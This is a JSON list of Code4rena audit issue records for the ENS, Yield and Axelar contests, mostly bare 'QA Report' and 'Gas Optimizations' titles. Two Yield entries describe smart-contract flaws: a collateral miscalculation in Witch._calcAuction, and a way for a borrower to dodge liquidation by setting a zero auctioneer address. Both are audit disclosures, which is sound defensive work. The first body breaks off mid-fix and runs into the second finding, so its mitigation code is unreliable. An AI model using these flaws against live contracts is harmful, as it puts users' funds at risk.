of a record", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/81", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-ens-findings", "body": "Anyone can call `ETHRegistrarController.register` for already existing commitments and set a reverse record to the caller instead of the owner of a record"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/77", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/76", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/71", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Renew of 2nd level domain is not done properly", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/63", "labels": ["bug", "2 (Med Risk)"], "target": "2022-07-ens-findings", "body": "Renew of 2nd level domain is not done properly"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/57", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/56", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/53", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/52", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "wrapETH2LD permissioning is over-extended", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/51", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-07-ens-findings", "body": "wrapETH2LD permissioning is over-extended"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/48", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/47", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/46", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/45", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/44", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/37", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "No check for zero address in setOwner function ", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/34", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-ens-findings", "body": "No check for zero address in setOwner function "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/33", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/21", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/20", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/19", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/17", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/12", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/11", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/2", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/1", "labels": [], "target": "2022-07-ens-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/177", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/176", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/174", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "old-submission-method"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/173", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/170", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/168", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/167", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "inkAtEnd (collateral) rounding error (divide before multiply)", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/166", "labels": ["QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-yield-findings", "body": "inkAtEnd (collateral) rounding error (divide before multiply)"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/165", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/162", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/156", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/152", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/151", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/149", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/148", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/147", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/145", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/144", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/143", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/137", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/136", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/135", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/131", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/125", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Incorrect amount of Collateral moves for Auction", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/123", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-07-yield-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-yield/blob/main/contracts/Witch.sol#L232 # Vulnerability details ## Impact It was observed that the debt and collateral which moves for Auction is calculated incorrectly. In case where line.proportion is set to small value, chances are art will become lower than min debt. This causes whole collateral to go for auction, which was not expected ___ ## Proof of Concept 1. Assume line.proportion is set to 10% which is a [valid value](https://github.com/code-423n4/2022-07-yield/blob/main/contracts/Witch.sol#L108) 2. Auction is started on Vault associated with collateral & base representing line from Step 1 3. Now debt and collateral to be sold are calculated in [_calcAuction](https://github.com/code-423n4/2022-07-yield/blob/main/contracts/Witch.sol#L223) ``` uint128 art = uint256(balances.art).wmul(line.proportion).u128(); if (art < debt.min * (10**debt.dec)) art = balances.art; uint128 ink = (art == balances.art) ? balances.ink : uint256(balances.ink).wmul(line.proportion).u128(); ``` 4. Now lets say **debt (art)** on this vault was **amount 10**, **collateral (ink)** was **amount 9**, debt.min * (10**debt.dec) was **amount 2** 5. Below calculation occurs ``` uint128 art = uint256(balances.art).wmul(line.proportion).u128(); // which makes art = 10*10% =1 if (art < debt.min * (10**debt.dec)) art = balances.art; // since 1<2 so art=10 uint128 ink = (art == balances.art) // Since art is 10 so ink=9 ? balances.ink : uint256(balances.ink).wmul(line.proportion).u128(); ``` 6. So full collateral and full debt are placed for Auction even though only 10% was meant for Auction. Even if it was lower than min debt, auction amount should have only increased upto the point where minimum debt limit is reached ___ ## Recommended Mitigation Steps Revise the calculation like below ``` uint128 art = uint256(balances.art).wmul(line.proportion).u128(); uint128 ink=0; if (art < debt.min * (10**debt.dec)) { art = debt.min * (10**debt.dec); (balances.ink 0 (as default), each liquidate call will call `Join` module to pay out to `auctioneer` with the following line: ```jsx if (auctioneerCut > 0) { ilkJoin.exit(auction_.auctioneer, auctioneerCut.u128()); } ``` This line will revert if `auctioneer` is set to `address(0)` on some tokens (revert on transferring to address(0) is a [default behaviour of the OpenZeppelin template](https://www.notion.so/Yield-Witch-555e6981c26b41008d03a504077b4770)). So if someone start an `auction` with `to = address(0)`, this auction becomes un-liquidatable. A malicious user can run a bot to monitor his own vault, and if the got underwater and they don\u2019t have enough collateral to top up, they can immediately start an auction on their own vault and set actioneer to `0` to avoid actually being liquidated, which breaks the design of the system. ## Recommended Mitigation Steps Add check while starting an auction: ```jsx function auction(bytes12 vaultId, address to) external returns (DataTypes.Auction memory auction_) { require (to != address(0), \"invalid auctioneer\"); ... } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/113", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/111", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/107", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/105", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/104", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/103", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "old-submission-method"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/102", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/101", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/100", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/99", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/98", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/97", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/96", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/95", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/94", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/93", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/92", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Liquidators can bid in auction even if vault became overcollateralized", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/91", "labels": ["QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "Liquidators can bid in auction even if vault became overcollateralized"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/89", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/87", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/86", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Good debt position get liquidated and result in user fund loss", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/80", "labels": ["QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "Good debt position get liquidated and result in user fund loss"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/79", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/78", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/77", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/75", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/71", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/68", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/65", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/64", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/61", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/60", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/59", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/56", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Witch._payInk() wouldn't work properly when Witch.auctioneerReward = 1e18", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/54", "labels": ["QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "Witch._payInk() wouldn't work properly when Witch.auctioneerReward = 1e18"}, {"title": "Make vault that can't be auctioned", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/52", "labels": ["QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "Make vault that can't be auctioned"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/51", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/50", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/49", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/48", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "old-submission-method"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/47", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/45", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/42", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/41", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "payBase and payFYToken can unfairly liquidate vaults that are above collateralization threshold", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/40", "labels": ["QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "payBase and payFYToken can unfairly liquidate vaults that are above collateralization threshold"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/38", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/37", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/34", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/33", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/32", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/31", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/29", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "_calcPayout can lose precision of collateral amount calculation", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/28", "labels": ["QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-yield-findings", "body": "_calcPayout can lose precision of collateral amount calculation"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/27", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/26", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/20", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/18", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-yield-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/14", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/9", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/2", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-yield-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-07-yield-findings/issues/1", "labels": [], "target": "2022-07-yield-findings", "body": "Agreements & Disclosures"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/234", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/233", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/232", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/231", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Use of `transfer` might render several functions unusable", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/230", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-axelar-findings", "body": "Use of `transfer` might render several functions unusable"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/226", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/225", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/224", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/223", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/222", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/221", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/218", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/217", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/215", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/214", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/213", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/211", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/209", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-axelar-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/208", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-axelar-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-axelar-findings/issues/207", "labels": ["bug", "QA (Quality Assurance)"], "target": 